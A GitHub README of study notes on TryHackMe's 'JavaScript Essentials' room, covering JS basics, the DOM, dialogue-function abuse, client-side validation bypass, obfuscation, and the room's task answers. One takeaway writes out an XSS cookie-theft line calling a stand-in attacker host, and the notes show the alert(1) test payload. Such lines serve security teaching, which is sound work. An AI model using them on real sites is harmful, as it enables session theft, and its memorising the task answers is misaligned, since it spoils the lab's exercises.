Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 

README.md

JavaScript Essentials

Field Details
Module Cyber Security 101 — Web Hacking
Difficulty Easy
Platform TryHackMe
Room Link https://tryhackme.com/room/javascriptessentials
Date Completed February 2026
Author Adwait Joshi

What This Room Covers

This is the second room in the CS101 Web Hacking section. Web Application Basics established the HTTP layer — how requests and responses work. This room addresses the language running inside the browser that generates and manipulates those requests: JavaScript. The room covers JavaScript fundamentals — variables, data types, functions, loops, the request-response cycle — how JavaScript integrates with HTML, how it interacts with the DOM, dialogue function abuse, control flow manipulation, and the security implications of hardcoded secrets, external scripts, and missing obfuscation. The focus throughout is explicitly cybersecurity-oriented: understanding JavaScript not just as a development tool but as an attack surface and an attacker capability.


Key Concepts

What JavaScript Is

JavaScript (JS) is a high-level, interpreted, dynamically typed programming language that runs natively in every modern web browser. It was originally created to add interactivity to otherwise static HTML pages. Today it powers everything from form validation and animations to full single-page applications and server-side code via Node.js.

Unlike compiled languages, JavaScript is interpreted — the browser executes the source code directly without a compilation step. This means JS source code is frequently readable by anyone who views the page source or opens Developer Tools, which has significant security implications: secrets embedded in client-side JavaScript are secrets in name only.

JavaScript is versatile — it supports both procedural and object-oriented programming styles. From a cybersecurity perspective, it is relevant in multiple contexts: as the language most commonly exploited in XSS attacks, as the language that makes browser-based attacks possible (CSRF, clickjacking, cookie theft), and as a language analysts must be able to read and understand during web application assessments and malware analysis of malicious scripts.

Core Language Concepts

Variables store data values. Three declaration keywords are in use:

Keyword Scope Reassignable Notes
var Function-scoped Yes Legacy — avoid in modern code; hoisting behaviour is a common source of bugs
let Block-scoped Yes Preferred for mutable variables
const Block-scoped No Preferred for values that should not change

Data Types define what kind of value a variable holds. JavaScript is dynamically typed — the type is determined at runtime, not declared by the programmer. Core types: strings ("hello"), numbers (42, 3.14), booleans (true/false), objects ({key: value}), arrays ([1, 2, 3]), null, and undefined.

Functions are reusable blocks of code designed to perform a specific task. They accept parameters and can return values:

function greet(name) {
    console.log("Hello, " + name + "!");
}
greet("Alice");

Loops execute a block of code repeatedly while a condition is true. Common loop types:

for (let i = 0; i < 5; i++) { console.log(i); }
while (condition) { /* code */ }

Conditionals control execution flow based on conditions:

if (age >= 18) {
    console.log("Access granted");
} else {
    console.log("Access denied");
}

Integrating JavaScript with HTML

JavaScript can be added to an HTML page in two ways:

Internal JavaScript — embedded directly within the HTML document using <script> tags. The JS code is part of the HTML file. This is the type of JavaScript integration that places code directly within the HTML document:

<script>
    document.getElementById("demo").innerHTML = "Hello!";
</script>

External JavaScript — written in a separate .js file and linked to the HTML document via the src attribute of a <script> tag:

<script src="script.js"></script>

External JavaScript promotes code reusability across multiple pages and is the preferred pattern in production applications. The method better suited for reusing JavaScript across multiple web pages is External. However, external scripts introduce a security dependency — if the external source is compromised or attacker-controlled, the malicious script executes in the context of the page. Restricting external script sources via CSP script-src is the mitigation.

The DOM — Document Object Model

The DOM is a programming interface that represents the HTML document as a tree of objects. JavaScript interacts with the page through the DOM — reading and modifying HTML elements, their attributes, their styles, and their content dynamically without reloading the page.

Core DOM interaction:

document.getElementById("elementId")        // select element by ID
document.querySelector(".className")        // select element by CSS selector
element.innerHTML = "new content"           // modify element content
element.style.display = "none"              // modify element style
element.addEventListener("click", handler)  // attach event handler

The DOM is the mechanism that makes JavaScript dangerous in an XSS context: injected JavaScript runs in the browser with full DOM access, meaning it can read cookies (if HttpOnly is not set), modify page content, redirect the user, and make authenticated requests to the server on behalf of the victim.

Dialogue Functions

JavaScript provides three built-in dialogue functions for interacting with users through browser pop-ups:

Function Behaviour
alert("message") Displays a message — user can only dismiss it
confirm("question") Displays a yes/no prompt — returns true or false
prompt("message") Displays an input field — returns the entered string or null

These are frequently abused in two ways. First, attackers inject alert() calls as proof-of-concept XSS payloads — a successful alert() popup demonstrates that JavaScript execution is possible in the page context. Second, phishing pages use confirm() and prompt() to harvest user input through browser-native dialogues that many users trust more than page-level forms.

Control Flow and Obfuscation

JavaScript's control flow can be manipulated by anyone who can execute code in the browser context. In web assessments, analysts frequently modify JavaScript logic by:

  • Changing variable values in the browser console
  • Overriding functions by redefining them in the console
  • Using breakpoints in Developer Tools to pause execution and inspect or modify values before they are evaluated

This is directly relevant to client-side validation bypass — form validation written in JavaScript can be trivially circumvented. Server-side validation is the only reliable validation.

Minification reduces JavaScript file size by removing whitespace, comments, and shortening variable names. This improves load performance but also makes code harder to read — unintentionally providing a degree of obfuscation.

Obfuscation deliberately transforms JavaScript into a functionally identical but human-unreadable form. Common obfuscation techniques include variable name mangling, string encoding (\x41\x42\x43 for ABC), eval-based execution, and code splitting. Obfuscation is used by both legitimate developers (IP protection) and attackers (malware hiding). Tools like de4js and JS Beautifier reverse obfuscation for analysis.

Security Best Practices

Never hardcode secrets. API keys, tokens, passwords, and credentials placed in client-side JavaScript are fully exposed — any user who views the page source or opens DevTools can read them. A private API key stored as:

const privateAPIKey = 'pk_TryHackMe-1337';

is accessible to every visitor. Secrets must live server-side only.

Only include trusted external libraries. Every external script tag is a potential supply chain attack vector. Libraries loaded from CDNs should use Subresource Integrity (SRI) hashes to verify the file has not been tampered with.

Server-side validation is mandatory. Client-side JavaScript validation is a UX convenience — it provides user feedback before form submission. It is not a security control. Any attacker can bypass it by disabling JavaScript, modifying the DOM, or crafting requests directly with curl or Burp Suite.

Minify and obfuscate before deploying. Production JavaScript should be minified to reduce file size and obfuscated to hinder reverse engineering of business logic.


Walkthrough Notes

The room runs through nine tasks. A VM with an in-browser environment is deployed for the practical tasks.

Task 1 (Introduction): Introduces JavaScript as a core web technology and frames the room's cybersecurity focus. No answer required.

Task 2 (Essential Concepts): Covers variables, data types, functions, loops, and the request-response cycle. Questions: the data type for true or false values — Boolean; the JS concept used to store data values — Variables; the keyword used to declare a variable that cannot be reassigned — const.

Task 3 (JavaScript for Interactivity): Covers alert(), confirm(), and prompt(). Questions: which function displays a message and waits for the user to dismiss it — alert; which returns a boolean — confirm; which captures user input — prompt.

Task 4 (Integrating JavaScript in HTML): Covers internal vs external JavaScript. Questions: which type places code directly within the HTML document — Internal; which method is better for reusing JavaScript across multiple pages — External.

Task 5 (Abusing Dialogue Functions): Demonstrates how dialogue functions are exploited for XSS proof-of-concept and phishing. The practical component requires identifying a dialogue function abuse in the lab environment.

Task 6 (Manipulating the Page Through the Console): Covers DOM manipulation and control flow override via the browser console. Using document.getElementById and reassigning variable values in the console to bypass client-side restrictions reveals a flag.

Task 7 (Introduction to Best Practices): Covers the four best practices — no hardcoded secrets, trusted libraries only, server-side validation, minification and obfuscation. The question asking for the best practice to protect against IP theft of JavaScript code — Obfuscation. The question on which type of validation can be bypassed by attackers — Client-side.

Task 8 (Practical Exercise): The practical task requires using the browser console to interact with the deployed lab page, manipulating JavaScript variables and DOM elements to uncover flags.

Task 9 (Conclusion): Summarises the room — JS fundamentals, HTML integration, DOM interaction, dialogue functions, obfuscation, and best practices. Points to SQL Fundamentals. No answer required.


Commands and Tools Used

// Browser console commands
document.getElementById("elementId").innerHTML
document.cookie
alert("XSS")
confirm("Proceed?")
prompt("Enter value:")

// External tools
JS Beautifier    // https://beautifier.io/  — deobfuscates minified JS
de4js            // https://de4js.kshift.me/ — JavaScript deobfuscator

Real-World Mapping

Concept Real-World Application
alert("XSS") as PoC XSS vulnerability confirmation — injecting <script>alert(1)</script> into input fields is the universal test for reflected and stored XSS; a popup confirms JavaScript execution in the page context without performing harmful actions
DOM access via JavaScript Credential theft via XSS — malicious scripts injected through XSS use document.cookie to exfiltrate session tokens; document.location for redirects; XMLHttpRequest or fetch for sending data to attacker infrastructure
Hardcoded API keys in JS Source code review finding — reviewing client-side JavaScript for embedded API keys, tokens, and credentials is a standard web application assessment step; exposed keys are typically immediate critical findings
Client-side validation bypass Input validation testing — removing or overriding JavaScript validation functions in DevTools before form submission tests whether the server independently validates the same constraints; server-side validation failure is the exploitable vulnerability
JavaScript obfuscation Malware analysis — malicious scripts delivered through compromised web pages, phishing lures, or drive-by downloads are routinely obfuscated; deobfuscating them to understand their payload and C2 behaviour is a standard SOC analyst and malware analyst task
External script inclusion Supply chain risk assessment — web applications that load scripts from external CDNs or third-party sources without SRI verification are vulnerable to supply chain compromise; auditing <script src> tags is part of any web application security review

Takeaways

  1. Client-side JavaScript is fully transparent to any motivated attacker — and building security on its concealment is a fundamental design error. The source is readable in DevTools. The validation is bypassable in the console. The secrets are exposed to every visitor. This is not a vulnerability in JavaScript — it is the inevitable consequence of code that runs on hardware the attacker controls. The correct mental model for client-side JavaScript is: assume the attacker can read it, modify it, and execute arbitrary code in its context. Every security control must be enforced server-side.

  2. The alert() call as XSS proof-of-concept encodes something important about how security research works. A single alert() popup in a page context proves that arbitrary JavaScript can execute there. It is harmless — it proves nothing about data theft or privilege escalation. But it is definitive. The attacker can replace alert(1) with fetch('https://attacker.com?c='+document.cookie) and the outcome changes entirely. The popup is not the attack — it is the proof that the attack is possible. Understanding this distinction is what separates a finding of "injected text appears" from a finding of "authenticated session is compromisable."

  3. Obfuscated JavaScript is not safe JavaScript — it is merely inconvenient JavaScript. Obfuscation raises the cost of reverse engineering, which has legitimate uses in IP protection and in delaying attacker analysis of malware. But all obfuscated JavaScript eventually executes as readable operations in the browser's JavaScript engine. Deobfuscation tools can reverse most obfuscation schemes in seconds. Obfuscation is a speed bump, not a wall — treating it as a security control produces systems that appear protected and are not.